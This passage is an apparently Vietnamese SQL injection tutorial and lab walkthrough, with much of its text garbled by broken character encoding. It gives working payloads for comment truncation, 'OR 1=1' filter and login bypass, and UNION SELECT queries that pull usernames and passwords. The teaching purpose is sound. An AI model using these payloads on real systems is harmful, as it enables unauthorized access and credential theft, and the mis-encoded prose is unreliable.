SQL injection

Lα» hα»ng SQL injection (SQLi) lΓ gΓ¬ ?
CΓ³ mα»t vαΊ₯n Δα» ΔαΊ·t ra mΓ mα»i khi hα» thα»ng cαΊ§n phαΊ£i Δα»i mαΊ·t ΔΓ³ chΓnh lΓ lΓ m sao Δα» lΖ°u trα»― cΓ‘c thΓ΄ng tin mα»t cΓ‘ch hiα»u quαΊ£, vΓ khi cαΊ§n sα» dα»₯ng cΓ³ thα» truy xuαΊ₯t nhanh chΓ³ng vΓ chΓnh xΓ‘c thΓ΄ng tin ΔΓ³. ChΓnh vΓ¬ vαΊy, cΖ‘ sα» dα»― liα»u ra Δα»i.
CΖ‘ sα» dα»― liα»u khΓ΄ng chα» giΓΊp khαΊ―c phα»₯c Δược nhα»―ng Δiα»m yαΊΏu cα»§a viα»c lΖ°u file thΓ΄ng thΖ°α»ng trΓͺn mΓ‘y tΓnh, mΓ cΓ²n ΔαΊ£m bαΊ£o thΓ΄ng tin lΖ°u trα»― Δược nhαΊ₯t quΓ‘n, hαΊ‘n chαΊΏ tΓ¬nh trαΊ‘ng thΓ΄ng tin bα» trΓΉng lαΊ·p. VΓ¬ lΓ nΖ‘i lΖ°u trα»― nhiα»u thΓ΄ng tin dα»― liα»u quan trα»ng nhαΊ₯t cα»§a hα» thα»ng, nΓͺn cΖ‘ sα» dα»― liα»u thΖ°α»ng lΓ mα»₯c tiΓͺu tαΊ₯n cΓ΄ng cα»§a nhα»―ng kαΊ» tαΊ₯n cΓ΄ng (attacker).
ChΓnh vΓ¬ vαΊy, mα»t thuαΊt ngα»― vα» lα» hα»ng nΓ y ra Δα»i: SQL-injection (SQLi)
SQLi lΓ mα»t loαΊ‘i tαΊ₯n cΓ΄ng bαΊ£o mαΊt mΓ Γ‘p dα»₯ng trΓͺn cΓ‘c hα» thα»ng cΖ‘ sα» dα»― liα»u. NΓ³ xαΊ£y ra khi mα»t attacker tαΊn dα»₯ng mα»t lα» hα»ng trong viα»c xα» lΓ½ ΔαΊ§u vΓ o cα»§a mα»t α»©ng dα»₯ng web hoαΊ·c hα» thα»ng Δα» thα»±c hiα»n cΓ‘c truy vαΊ₯n SQL Δα»c hαΊ‘i. KαΊΏt quαΊ£ cα»§a viα»c thα»±c thi cΓ‘c truy vαΊ₯n nΓ y cΓ³ thα» gΓ’y hαΊ‘i cho cα» sα» dα»― liα»u hoαΊ·c hα» thα»ng mΓ‘y tΓnh, bao gα»m viα»c xΓ³a hoαΊ·c sα»a cΖ‘ sα» dα»― liα»u, hoαΊ·c cαΊ₯p quyα»n cho attacker truy cαΊp vΓ o cΓ‘c thΓ΄ng tin bαΊ£o mαΊt. CΓ‘c lα» hα»ng SQLi thΖ°α»ng Δược ΔΓ‘nh giΓ‘ mα»©c Δα»ng nghiΓͺm trα»ng α» dαΊ‘ng HIGH.
NguyΓͺn nhΓ’n gΓ’y ra lα» hα»ng SQLi
GiαΊ£ sα» chΓΊng ta cΓ³ hα» thα»ng quαΊ£n trα» cΖ‘ sα» dα»― liα»u MYSQL. Hα» thα»ng thα»±c hiα»n lΖ°u thΓ΄ng tin ngΖ°α»i dΓΉng vΓ o cΖ‘ sα» dα»― liα»u, khi cαΊ§n hiα»n thα» cΓ‘c thΓ΄ng tin cho ngΖ°α»i dΓΉng, cΓ‘c cΓ’u lα»nh truy xuαΊ₯t dα»― liα»u tα»« database sαΊ½ Δược thα»±c thi. VΓ dα»₯: ngΖ°α»i dΓΉng nhαΊp vΓ o Γ΄ tΓ¬m kiαΊΏm dα»― liα»u βmisa0136β lΓΊc nΓ y hα» thα»ng cαΊ§n lαΊ₯y tαΊ₯t cαΊ£ thΓ΄ng tin cα»§a ngΖ°α»i dΓΉng cΓ³ name = misa0136. ΔoαΊ‘n mΓ£ thα»±c thi Δược sα» dα»₯ng nhΖ° sau:
GiαΊ£i thΓch: BiαΊΏn $input nhαΊn giΓ‘ trα» misa0136, sau khi ghΓ©p chuα»i $sql = βSELECT * FROM student WHERE name = β β . $input .β β β .Khi thα»±c hiα»n qua hΓ m mysql_query() sαΊ½ cΓ³ thα» truy xuαΊ₯t kαΊΏt quαΊ£. VαΊ₯n Δα» cαΊ§n chΓΊ Γ½ α» ΔΓ’y lΓ giΓ‘ trα» biαΊΏn $input cΓ³ thα» thay Δα»i bα»i ngΖ°α»i dΓΉng (untrusted data), nαΊΏu khΓ΄ng thα»±c hiα»n cΓ‘c cΖ‘ chαΊΏ phΓ²ng ngΖ°α»i tαΊ₯n cΓ΄ng, attacker cΓ³ thα» nhαΊp giΓ‘ trα» misa0136β cho biαΊΏn nΓ y, dαΊ«n ΔαΊΏn truy vαΊ₯n trα» thΓ nh:
VαΊy, mα»₯c ΔΓch thΓͺm dαΊ₯u nhΓ‘y ΔΖ‘n Δα» lΓ m gΓ¬ ? VΓ¬ khi ta sα» dα»₯ng dαΊ₯u β nhαΊ±m ΔΓ³ng giΓ‘ trα» name phΓa trΖ°α»c Δi (hoαΊ·c kαΊΏt thΓΊc cΓ’u lα»nh truy vαΊ₯n nΓ y, vΓ sau ΔΓ³, attacker cΓ³ thα» chΓ¨n thΓͺm cΓ‘c cΓ’u lα»nh mΓ hα» muα»n vΓ o sau dαΊ₯u β. VαΊy trΖ°α»ng hợp phΓa sau vαΊ«n cΓ²n mα»t phαΊ§n cα»§a cΓ’u lα»nh truy vαΊ₯n thΓ¬ sao ? Δiα»u nΓ y Δược giαΊ£i quyαΊΏt ΔΖ‘n giαΊ£m bαΊ±ng cΓ‘ch sα» dα»₯ng cΓ‘c kΓ½ tα»± comment (--, #,/**/β¦) Δα» biαΊΏn cΓ‘c chuα»i ΔαΊ±ng sau thΓ nh comment.
VΓ dα»₯ SQLi
CΓ³ rαΊ₯t nhiα»u lα» hα»ng SQLi, cΓ‘c cuα»c tαΊ₯n cΓ΄ng vΓ kα»Ή thuαΊt phΓ‘t sinh trong cΓ‘c tΓ¬nh huα»ng khΓ‘c nhau. Sau ΔΓ’y lΓ mα»t sα» vΓ sα»₯ SQLi phα» biαΊΏn:
Β· Retrieving hidden data: nΖ‘i bαΊ‘n cΓ³ thα» sα»a Δα»i truy vαΊ₯n SQL Δα» trαΊ£ vα» kαΊΏt quαΊ£ bα» sung.
Β· Subverting application logic: nΖ‘i bαΊ‘n cΓ³ thα» thay Δα»i mα»t truy vαΊ₯n Δα» can thiα»p vΓ o logic cα»§a α»©ng dα»₯ng
Β· UNION attacks: nΖ‘i bαΊ‘n cΓ³ thα» truy xuαΊ₯t dα»― liα»u tα»« cΓ‘c bαΊ£ng cΖ‘ sα» dα»― liα»u khΓ‘c nhau.
Β· Examining the database: nΖ‘i bαΊ‘n cΓ³ thα» trΓch xuαΊ₯t thΓ΄ng tin vα» phiΓͺn bαΊ£n vΓ cαΊ₯u trΓΊc cα»§a cΖ‘ sα» dα»― liα»u
. Blind SQLi: kαΊΏt quαΊ£ cα»§a mα»t truy vαΊ₯n mΓ bαΊ‘n kiα»m soΓ‘t khΓ΄ng Δược trαΊ£ vα» trong cΓ‘c phαΊ£n hα»i cα»§a α»©ng dα»₯ng.
Retrieving hidden data
GiαΊ£ sα» trong mα»t trang web mua sαΊ―m trα»±c tuyαΊΏn, ngΖ°α»i dΓΉng cΓ³ thα» xem cΓ‘c dΓ²ng sαΊ£n phαΊ©m theo tham sα» category: https://insecure-web.site.com/products?category=Gifts Δiα»u nΓ y khiαΊΏn hα» thα»ng thα»±c hiα»n truy xuαΊ₯t cΓ‘c sαΊ£n phαΊ©m tα»« cΖ‘ sα» dα»― liα»u, vΓ hα» thα»ng sα» dα»₯ng thΓͺm Δiα»u kiα»n released =1 (chα» lαΊ₯y cΓ‘c dΓ²ng sαΊ£n phαΊ©m Δang phΓ‘t hΓ nh):
Do giΓ‘ trα» tham sα» category cΓ³ thα» thay Δα»i tΓΉy Γ½ nΓͺn chΓΊng ta cΓ³ thα» lợi dα»₯ng kα»Ή thuαΊt tαΊ₯n cΓ΄ng SQLi khiαΊΏn trang web hiα»n thα» thΓͺm cΓ‘c dΓ²ng sαΊ£n phαΊ©m ΔΓ£ tα»«ng phΓ‘t hΓ nh hoαΊ·c sαΊ½ phΓ‘t hΓ nh trong tΖ°Ζ‘ng lai. https://insecure-web.site.com/products?category=Giftsβ--
LΓΊc nΓ y, truy vαΊ₯n trα» thΓ nh:
SELECT * FROM products WHERE category = 'Gifts'-- AND released = 1
KΓ hiα»u β- ΔΓ£ khiαΊΏn phαΊ§n theo sau nΓ³ Δược hα» thα»ng hiα»u lΓ comment nΓͺn lΓ ΔΓ£ vΓ΄ hiα»u hΓ³a Δiα»u kiα»n released = 1, Δiα»u nΓ y khiαΊΏn hα» thα»ng lαΊ₯y dα»― liα»u tαΊ₯t cαΊ£ cΓ‘c sαΊ£n phαΊ©m chα» thα»a mΓ£n Δiα»u kiα»n category = βGiftsβ, trong ΔΓ³ bao gα»m tαΊ₯t cαΊ£ cΓ‘c sαΊ£n phαΊ©m thα»a mΓ£n Δiα»u kiα»n released = 1 vΓ released = 0.
Δi xa hΖ‘n nα»―a, attacker cΓ³ thα» khiαΊΏn α»©ng dα»₯ng hiα»n thα» tαΊ₯t cαΊ£ cΓ‘c sαΊ£n phαΊ©m trong bαΊ₯t kΓ¬ danh mα»₯c nΓ o, kα» cαΊ£ danh mα»₯c mΓ chΓΊng khΓ΄ng biαΊΏt:
https://insecure-website.com/products?category=Gifts'+OR+1=1--
Δiα»u nΓ y dαΊ«n ΔαΊΏn truy vαΊ₯n SQL:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
Truy vαΊ₯n nΓ y trαΊ£ vα» tαΊ₯t cαΊ£ cΓ‘c mα»₯c cΓ³ danh mα»₯c lΓ Gifts hoαΊ·c 1=1. VΓ¬ 1=1 luΓ΄n ΔΓΊng (logic ΔαΊ‘i sα»), dαΊ«n ΔαΊΏn tαΊ₯t cαΊ£ cΓ‘c sαΊ£n phαΊ©m Δα»u Δược hiα»n thα».
Thα»±c hΓ nh lab (Level: Apprentice)
TΓͺn lab: SQLi vulnerability in WHERE clause allowing retrieval of hidden data.
Nα»i dung lab: Trang web cΓ³ chα»©a lα» hα»ng SQLi trong cΓ’u lα»nh truy xuαΊ₯t dα»― liα»u. Δα» giαΊ£i quyαΊΏt lab nΓ y, chΓΊng ta cαΊ§n khai thΓ‘c lα» hα»ng Δα» giao diα»n web hiα»n thα» tαΊ₯t cαΊ£ sαΊ£n phαΊ©m phΓ‘t hΓ nh vΓ chΖ°a phΓ‘t hΓ nh.
Thα»±c hΓ nh lab:
Thα»±c hiα»n lab:
1. ChΓΊng ta cΓ³ thα» xem cΓ‘c sαΊ£n phαΊ©m theo tα»«ng thα» loαΊ‘i. Δα» Γ½ rαΊ±ng trang web xΓ‘c Δα»nh dΓ²ng sαΊ£n phαΊ©m theo tham sα» category trong thanh URL, vΓ giΓ‘ trα» nΓ y cΓ³ thα» thay Δα»i tΓΉy Γ½ bα»i ngΖ°α»i dΓΉng.

2. Kiα»m tra lα» hα»ng SQLi bαΊ±ng cΓ‘ch thΓͺm dαΊ₯u β :
https://0a9c00aa04d7df61c022a9aa007700fc.web-security-academy.net/filter?category=Lifestyleβ
Trang web xuαΊ₯t hiα»n lα»i:

Δiα»u nΓ y cΓ³ thα» dα»± ΔoΓ‘n lα»i xuαΊ₯t hiα»n lΓ do cΓ’u lα»nh truy vαΊ₯n bα» sai cΓΊ phΓ‘p. Δα» giαΊ£i quyαΊΏt vαΊ₯n Δα» nΓ y, chΓΊng ta chα» cαΊ§n thay Δα»i giΓ‘ trα» tham sα» kαΊΏt hợp vα»i mα»t biα»u thα»©c logic luΓ΄n ΔΓΊng, chΓΊng ta cΓ³ thα» dαΊ«n ΔαΊΏn hα» thα»ng truy xuαΊ₯t tαΊ₯t cαΊ£ sαΊ£n phαΊ©m trong cΖ‘ sα» dα»― liα»u (Δiα»u nΓ y ΔΓ£ Δược phΓ’n tΓch α» phαΊ§n lΓ½ thuyαΊΏt trΓͺn).
/filter?category=Lifestyleβ or 1=1--

Thα»±c hiα»n thay Δα»i vΓ bΓ i lab cα»§a chΓΊng ta ΔΓ£ giαΊ£i quyαΊΏt.
Subverting application logic
GiαΊ£ sα», chΓΊng ta cΓ³ mα»t α»©ng dα»₯ng cho phΓ©p ngΖ°α»i dΓΉng ΔΔng nhαΊp bαΊ±ng tΓͺn ngΖ°α»i dΓΉng vΓ mαΊt khαΊ©u.

Khi ngΖ°α»i dΓΉng thα»±c hiα»n ΔΔng nhαΊp, hai tham sα» username vΓ password Δược truyα»n tα»i hα» thα»ng, sau ΔΓ³ Δược βghΓ©pβ trα»±c tiαΊΏp vΓ o cΓ’u lα»nh SQL. VΓ dα»₯ cΓ’u lα»nh kiα»m tra thΓ΄ng tin ΔΔng nhαΊp cα»§a ngΖ°α»i dΓΉng nhΖ° sau:
NαΊΏu ngΖ°α»i dΓΉng gα»i tΓͺn ΔΔng nhαΊp βmisa0136β vΓ mαΊt khαΊ©u βhelloworld1β, α»©ng dα»₯ng sαΊ½ kiα»m tra thΓ΄ng tin ΔΔng nhαΊp bαΊ±ng cΓ‘ch thα»±c hiα»n truy vαΊ₯n sau:
SELECT * FROM users WHERE username = βmisa0136β AND password = βhelloworld1β
NαΊΏu truy vαΊ₯n trαΊ£ vα» thΓ΄ng tin chi tiαΊΏt cα»§a ngΖ°α»i dΓΉng thΓ¬ ΔΔng nhαΊp thΓ nh cΓ΄ng, ngược lαΊ‘i β thαΊ₯t bαΊ‘i.
TαΊ‘i ΔΓ’y, username vΓ password lΓ mα»t untrusted data. Tα»©c lΓ kαΊ» tαΊ₯n cΓ΄ng cΓ³ thα» tΓ¬m cΓ‘ch thay Δα»i logic cΓ’u lα»nh trΓͺn sao cho khi thα»±c hiα»n thΓ¬ hα» thα»ng khΓ΄ng kiα»m tra mαΊt khαΊ©u. Tα»« Γ½ tΖ°α»ng ΔΓ³, thα»±c hiα»n thay Δα»i giΓ‘ trα» username = misa0136β--, tham sα» mαΊt khαΊ©u nhαΊn giΓ‘ trα» tΓΉy Γ½. Truy vαΊ₯n SQL trα» thΓ nh:
SELECT * FROM users WHERE username = βmisa0136ββ-' AND password = βhelloworld1β
NhΖ° vαΊy, lΓΊc nΓ y hα» thα»ng chα» thα»±c hiα»n lαΊ₯y thΓ΄ng tin cΖ‘ sα» dα»― liα»u vα»i mα»t Δiα»u kiα»n duy nhαΊ₯t lΓ username = misa0136 (vΓ¬ dαΊ₯u comment ΔΓ£ loαΊ‘i bα» phαΊ§n cΓ²n lαΊ‘i cα»§a cΓ’u lα»nh truy vαΊ₯n). VΓ chΓΊng ta ΔΔng nhαΊp thΓ nh cΓ΄ng.
Δiα»u nΓ y cΕ©ng cΓ³ thα» Γ‘p dα»₯ng tΖ°Ζ‘ng tα»± vα»i trΖ°α»ng password. NhΖ°ng cΓ³ mα»t chΓΊt khΓ‘c α» payload. ChΓΊng ta thay giΓ‘ trα» password = abcβ or 1=1--. Khi ΔΓ³ cΓ’u lα»nh truy vαΊ₯n trα» thΓ nh:
SELECT * FROM users WHERE username = βmisa0136β--' AND password = βabcβ or 1=1--
LΓΊc nΓ y, Δiα»u kiα»n kiα»m tra mαΊt khαΊ©u ngΖ°α»i dΓΉng luΓ΄n ΔΓΊng, nΓͺn chΓΊng ta cΓ³ thα» ΔΔng nhαΊp vΓ o tΓ i khoαΊ£n misa0136. VαΊy giαΊ£ sα», trong trΖ°α»ng hợp chΓΊng ta biαΊΏt chαΊ―c rαΊ±ng, cΓ³ ngΖ°α»i dΓΉng administrator tα»n tαΊ‘i trΓͺn hα» thα»ng thΓ¬ sao? Δiα»u nΓ y trα» nΓͺn vΓ΄ cΓΉng nguy hiα»m khi cΓ³ lα»i SQLi α» ΔΓ’y.
Thα»±c hΓ nh lab: (Level: Apprentice)
TΓͺn lab: SQL injection vulnerability allowing login bypass. Nα»i dung lab: Chα»©c nΔng ΔΔng nhαΊp cα»§a trang web chα»©a lα» hα»ng SQLi. Δα» hoΓ n thΓ nh lab nΓ y, chΓΊng ta cαΊ§n login vα»i tΓ i khoαΊ£n ngΖ°α»i dΓΉng administrator. Thα»±c hiα»n lab:
Kiα»m tra lα» hα»ng SQLi bαΊ±ng cΓ‘ch thΓͺm dαΊ₯u β trong tΖ°α»ng username. Trang web trαΊ£ vα» lα»i:

NhΖ° vαΊy, α» ΔΓ’y chΓΊng ta cΓ³ thα» dα»± ΔoΓ‘n lα»i xuαΊ₯t hiα»n do cΓ’u lα»nh truy vαΊ₯n bα» sai cΓΊ phΓ‘p. Hiα»n tαΊ‘i chΓΊng ta ΔΓ£ biαΊΏt username cα»§a quαΊ£n trα» viΓͺn lΓ administrator. NhΖ° ΔΓ£ phΓ’n tΓch α» trΓͺn, chΓΊng ta cΓ³ thα» phΓ‘ vα»‘ logic cα»§a cΓ’u lα»nh SQL bαΊ±ng giΓ‘ trα»: administratorβ--, cΓ²n password nhαΊn giΓ‘ trα» tΓΉy Γ½(BαΊ‘n cΕ©ng cΓ³ thα» thα» vα»i cΓ‘ch thα»© hai, thay Δα»i giΓ‘ trα» tαΊ‘i trΖ°α»ng password).

Solved the lab
Retrieving data from other database tables
Trong trΖ°α»ng hợp, chΓΊng ta xΓ‘c Δα»nh Δược nΖ‘i chα»©a lα» hα»ng SQLi vΓ kαΊΏt quαΊ£ trαΊ£ vα» cΓ³ thα» tiαΊΏp tα»₯c khai thΓ‘c thΓ΄ng tin dα»― liα»u tα»« cΓ‘c bαΊ£ng khΓ‘c trong cΖ‘ sα» dα»― liα»u.
GiαΊ£ sα», nαΊΏu mα»t α»©ng dα»₯ng thα»±c hiα»n truy vαΊ₯n sau:
SELECT name, description FROM products WHERE category = βGiftsβ
α» ΔΓ’y tham sα» category cΓ³ thα» thay Δα»i bα»i ngΖ°α»i dΓΉng Δα»ng thα»i ΔΓ£ biαΊΏt tΓͺn bαΊ£ng cαΊ§n khai thΓ‘c lΓ users, nΓͺn chΓΊng ta cΓ³ thα» sα» dα»₯ng phΓ©p UNION Δα» truy xuαΊ₯t dα»― liα»u tα»« bαΊ£ng users nhΖ° sau:
SELECT name, description FROM products WHERE category = βGiftsβ UNION SELECT username, password FROM users--
VαΊy, phΓ©p UNION lΓ gΓ¬ ? ChΓΊng ta cΓΉng tΓ¬m hiα»u qua vΓ dα»₯ sau:
SELECT a,b FROM table1 UNION SELECT c, d FROM table2
PhΓ©p UNION cho phΓ©p bαΊ‘n thα»±c hiα»n mα»t hoαΊ·c nhiα»u truy vαΊ₯n bα» sung SELECT vΓ nα»i kαΊΏt quαΊ£ vΓ o truy vαΊ₯n ban ΔαΊ§u.
NhΖ° vαΊy, truy vαΊ₯n trong vΓ dα»₯ trΓͺn trαΊ£ vα» mα»t tαΊp hợp kαΊΏt quαΊ£ duy nhαΊ₯t cΓ³ 2 cα»t, chα»©a cΓ‘c giΓ‘ trα» tα»« cΓ‘c cα»t a vΓ b trong table1 vΓ cΓ‘c cα»t c, d trong table2.
Δα» thα»±c hiα»n truy vαΊ₯n vα»i UNION, chΓΊng ta cαΊ§n chΓΊ Γ½ tα»i hai Δiα»u kiα»n sau cαΊ§n Δược thα»a mΓ£n:
Β· CΓ‘c cΓ’u lα»nh SELECT cαΊ§n trαΊ£ vα» sα» cα»t dα»― liα»u bαΊ±ng nhau
Β· CΓ‘c cα»t tΖ°Ζ‘ng α»©ng cαΊ§n cΓ³ cΓΉng kiα»u dα»― liα»u
NhΖ° vαΊy, cαΊ§n xΓ‘c Δα»nh vΓ trαΊ£ lα»i 2 cΓ’u hα»i sau:
Β· CΓ³ bao nhiΓͺu cα»t Δang Δược trαΊ£ vα» tα»« truy vαΊ₯n ban ΔαΊ§u ?
Β· Nhα»―ng cα»t nΓ o Δược trαΊ£ vα» tα»« truy vαΊ₯n ban ΔαΊ§u thuα»c loαΊ‘i dα»― liα»u phΓΉ hợp Δα» giα»― kαΊΏt quαΊ£ truy vαΊ₯n Δược ΔΖ°a vΓ o ?
TrαΊ£ lα»i cΓ’u hα»i 1:
Khi thα»±c hiα»n mα»t cuα»c tαΊ₯n cΓ΄ng SQL injection UNION, cΓ³ hai phΖ°Ζ‘ng phΓ‘p hiα»u quαΊ£ Δα» xΓ‘c Δα»nh cΓ³ bao nhiΓͺu cα»t Δược trαΊ£ vα» tα»« truy vαΊ₯n ban ΔαΊ§u. XΓ©t truy vαΊ₯n:
SELECT name, description FROM products WHERE category = βGiftsβ
CΓ‘ch 1: Sα» dα»₯ng phΓ©p UNION
Thay Δα»i giΓ‘ trα» tham sα» category:
β UNION SELECT NULL--
β UNION SELECT NULL, NULL--
β UNION SELECT NULL, NULL, NULL--
β¦
VΓ¬ sao chΓΊng ta sα» dα»₯ng kiα»u dα»― liα»u NULL α» ΔΓ’y ? Bα»i vΓ¬ kiα»u dα»― liα»u NULL cΓ³ thα» tα»± chuyα»n hΓ³a thΓ nh bαΊ₯t kΓ¬ kiα»u dα»― liα»u nΓ o trong quΓ‘ trΓ¬nh hợp kαΊΏt quαΊ£. Thα»±c hiα»n ΔαΊΏn khi trαΊ£ vα» kαΊΏt quαΊ£.
CΓ‘ch 2: Sα» dα»₯ng phΓ©p ORDER BY
PhΓ©p ORDER BY thα»±c hiα»n sαΊ―p xαΊΏp kαΊΏt quαΊ£ truy vαΊ₯n theo Δiα»u kiα»n ΔΖ°a ra. Trong trΖ°α»ng hợp nΓ y, chΓΊng ta cαΊ§n lợi dα»₯ng nΓ³ Δα» xΓ‘c Δα»nh sα» cα»t dα»― liα»u trαΊ£ vα» trong cΓ’u truy vαΊ₯n.
Thay Δα»i giΓ‘ trα» tham sα» category:
β ORDER BY 1--
β ORDER BY 2--
β ORDER BY 3--
β¦
Thα»±c hiα»n cho tα»i khi cΓ’u truy vαΊ₯n khΓ΄ng tΓ¬m thαΊ₯y cα»t thα»© i, sαΊ½ trαΊ£ vα» error, Δiα»u nΓ y cΓ³ nghΔ©a lΓ cα»t cΓ³ sα» thα»© tα»± lα»n nhαΊ₯t lΓ i-1 (hay truy vαΊ₯n trαΊ£ vα» i-1 cα»t dα»― liα»u)
Thα»±c hΓ nh lab: (Level: Practitioner)
TΓͺn lab: SQL injection UNION attack, determining the number of columns returned by the query.
Nα»i dung lab: Trang web nΓ y chα»©a lα» hα»ng SQLi trong chα»©c nΔng bα» lα»c hiα»n thα» sαΊ£n phαΊ©m. ChΓΊng ta cΓ³ thα» xΓ‘c Δα»nh sα» cα»t dα»― liα»u Δược trαΊ£ vα» trong cΓ’u truy vαΊ₯n. Δα» giαΊ£i quyαΊΏt bΓ i lab nΓ y, chΓΊng ta cαΊ§n sα» dα»₯ng UNION xΓ‘c Δα»nh sα» cα»t dα»― liα»u trαΊ£ vα» bαΊ±ng cΓ‘ch gα»p cΓ‘c cα»t dα»― liα»u nΓ y vα»i kiα»u NULL.
Thα»±c hiα»n lab:
ChΓΊng ta cΓ³ thα» xem cΓ‘c sαΊ£n phαΊ©m thΓ΄ng qua chα»©c nΔng bα» lα»c hiα»n thα» sαΊ£n phαΊ©m theo loαΊ‘i Δược xΓ‘c Δα»nh qua tham sα» category trong URL vα»i phΖ°Ζ‘ng thα»©c GET. Tham sα» nΓ y cΓ³ thα» thay Δα»i tΓΉy Γ½.
Kiα»m tra lα» hα»ng SQL bαΊ±ng cΓ‘ch thay Δα»i giΓ‘ trα» category =β .Trang web trαΊ£ vα» lα»i:

NhΖ° vαΊy, ta ΔΓ£ xΓ‘c Δα»nh Δược nΖ‘i xαΊ£y ra lα»i SQLi. Giα» chΓΊng ta cαΊ§n xΓ‘c Δα»nh sα» cα»t trαΊ£ vα»: Chα»n 1 trong 2 phΖ°Ζ‘ng phΓ‘p α» phαΊ§n lΓ thuyαΊΏt cα»§a phαΊ§n nΓ y Δα» thα»±c hiα»n. α» ΔΓ’y, chα»n phΖ°Ζ‘ng phΓ‘p 1. LαΊ§n lượt sα» dα»₯ng cΓ‘c payload:
β UNION SELECT NULL--β UNION SELECT NULL, NULL--
Khi chΓ¨n 2 payload trΓͺn thΓ¬ kαΊΏt quαΊ£ trαΊ£ vα» error
β UNION SELECT NULL, NULL, NULL--

Finding columns with a useful data type in a SQLi UNION attack
TiαΊΏp nα»i vα»i phαΊ§n Δược trΓ¬nh bΓ y α» trΓͺn, sau khi xΓ‘c Δα»nh Δược sα» cα»t dα»― liα»u trαΊ£ vα», chΓΊng ta cαΊ§n tiαΊΏp tα»₯c tΓ¬m kiαΊΏm cα»t dα»― liα»u Δược khai thΓ‘c hiα»n thα» kαΊΏt quαΊ£ thΓ΄ng tin cα»₯ thα».
ChΓΊng ta cΓ³ thα» kiα»m tra xem cα»t ΔΓ³ cΓ³ thα» chα»―a dα»― liα»u chuα»i hay khΓ΄ng bαΊ±ng cΓ‘ch gα»i mα»t loαΊ‘t payload UNION SELECT lαΊ§n lượt ΔαΊ·t giΓ‘ trα» chuα»i vΓ o tα»«ng cα»t. GiαΊ£ sα», nαΊΏu truy vαΊ₯n trαΊ£ vα» 3 cα»t, payload sαΊ½ lΓ :
β UNION SELECT βcot1β,NULL,NULL--
β UNION SELECT NULL,βcot2β,NULL--
β UNION SELECT NULL,NULL,βcot3β--
Sau ΔΓ³, tΓ¬m kiαΊΏm giao diα»n phαΊ£n hα»i cΓ‘c khΓ³a tα»« cot1, cot2,cot3. Sα»± xuαΊ₯t hiα»n cα»§a cΓ‘c tα»« khΓ³a cΕ©ng tΖ°Ζ‘ng α»©ng vα»i cα»t dα»― liα»u cΓ³ thα» khai thΓ‘c.
Thα»±c hΓ nh lab: (Level: Practitioner)
TΓͺn lab: SQL injection UNION attack, finding a column containing text
Nα»i dung lab: Trang web chα»©a lα» hα»ng SQLi trong chα»©c nΔng bα» lα»c hiα»n thα» sαΊ£n phαΊ©m. KαΊΏt quαΊ£ Δược hiα»n thα» trong giao diα»n trαΊ£ vα». Δα» giαΊ£i quyαΊΏt bΓ i lab nΓ y, chΓΊng ta cαΊ§n khai thΓ‘c lα» hα»ng nhαΊ±m tΓ¬m kiαΊΏm cα»t dα»― liα»u trαΊ£ vα» tΖ°Ζ‘ng thΓch vα»i dα»― liα»u dαΊ‘ng chuα»i.
Thα»±c hiα»n lab:
ChΓΊng ta cΓ³ thα» sα» dα»₯ng chα»©c nΔng bα» lα»c hiα»n thα» sαΊ£n phαΊ§m theo loαΊ‘i, Δược xΓ‘c Δα»nh qua tham sα» category trong thanh URL, thΓ΄ng qua phΖ°Ζ‘ng thα»©c GET.Tham sα» nΓ y cΓ³ thα» thay Δα»i tΓΉy Γ½.
Theo Δα» bΓ i, chΓΊng ta cαΊ§n hiα»n thα» chuα»i βE4a4wGβ ra khα»i mΓ n hΓ¬nh Δα» hoΓ n thΓ nh lab.
Kiα»m tra lα» hα»ng SQLi tαΊ‘i tham sα» category.
XΓ‘c Δα»nh sα» cα»t dα»― liα»u vα»i ORDER BY: Payload: β ORDER BY 3--(khΓ΄ng trαΊ£ vα» lα»i)

NhΖ° vαΊy ta xΓ‘c Δα»nh Δược, cΓ³ 3 cα»t dα»― liα»u TiαΊΏp theo ta cαΊ§n xΓ‘c Δα»nh cα»t dα»― liα»u nΓ o tΖ°Ζ‘ng thΓch vα»i kiα»u dα»― liα»u chuα»i. Kiα»m tra lαΊ§n lượt cΓ‘c cα»t
Cα»t 1: misa0136β UNION SELECT βcot1β,NULL,NULL--Cα»t 2: misa0136β UNION SELECT NULL,βcot2β,NULL--Cα»t 3: misa0136β UNION SELECT NULL,NULL,βcot3β--Vα»i payload trΓͺn, lαΊ§n lượt kiα»m tra cα»t 1 vΓ cα»t 3 Δα»u trαΊ£ vα» vα»i lα»i. Chα» cΓ³ cα»t 2 lΓ trαΊ£ vα» ΔΓΊng giΓ‘ trα» βcot2β

NhΖ° vαΊy, dα»― liα»u trong cα»t 2 tΖ°Ζ‘ng thΓch vα»i kiα»u dα»― liα»u chuα»i. Hiα»n thα» chuα»i Δα» bΓ i yΓͺu cαΊ§u vΓ hoΓ n thΓ nh lab.

Using a SQL injection UNION attack to retrieve interesting data
Sau khi ΔΓ£ xΓ‘c Δα»nh Δược sα» cα»t Δược trαΊ£ vα» bα»i truy vαΊ₯n ban ΔαΊ§u vΓ tΓ¬m thαΊ₯y cα»t nΓ o cΓ³ thα» chα»©a dα»― liα»u chuα»i, bαΊ‘n cΓ³ thα» truy xuαΊ₯t nhα»―ng dα»― liα»u thΓΊ vα».
GiαΊ£ sα»:
Β· Truy vαΊ₯n ban ΔαΊ§u trαΊ£ vα» 2 cα»t, vΓ cαΊ£ 2 cα»t Δα»u cΓ³ thα» chα»©a dα»― liα»u chuα»i
Β· Δiα»m chΓ¨n lΓ mα»t chuα»i Δược trΓch dαΊ«n trong mα»nh Δα» WHERE
Β· CΖ‘ sα» dα»― liα»u chα»©a mα»t bαΊ£ng gα»i lΓ users vα»i cΓ‘c cα»t username vΓ password
ChΓΊ Γ½: nαΊΏu bαΊ‘n khΓ΄ng biαΊΏt tΓͺn bαΊ£ng vΓ tΓͺn cΓ‘c cα»t. TrΓͺn thα»±c tαΊΏ bαΊ‘n cΓ³ thα» ΔoΓ‘n tΓͺn bαΊ£ng vΓ tΓͺn cα»t. TαΊ₯t cαΊ£ cΖ‘ sα» dα»― liα»u hiα»n nay Δα»u cung cαΊ₯p cΓ‘c cΓ‘ch kiα»m tra cαΊ₯u trΓΊc cΖ‘ sα» dα»― liα»u Δα» xΓ‘c Δα»nh xem nΓ³ chα»©a nhα»―ng bαΊ£ng vΓ cα»t nΓ o. Thα»±c hΓ nh lab: (Level : Practitioner)
TΓͺn lab: SQL injection UNION attack, retrieving data from other tables
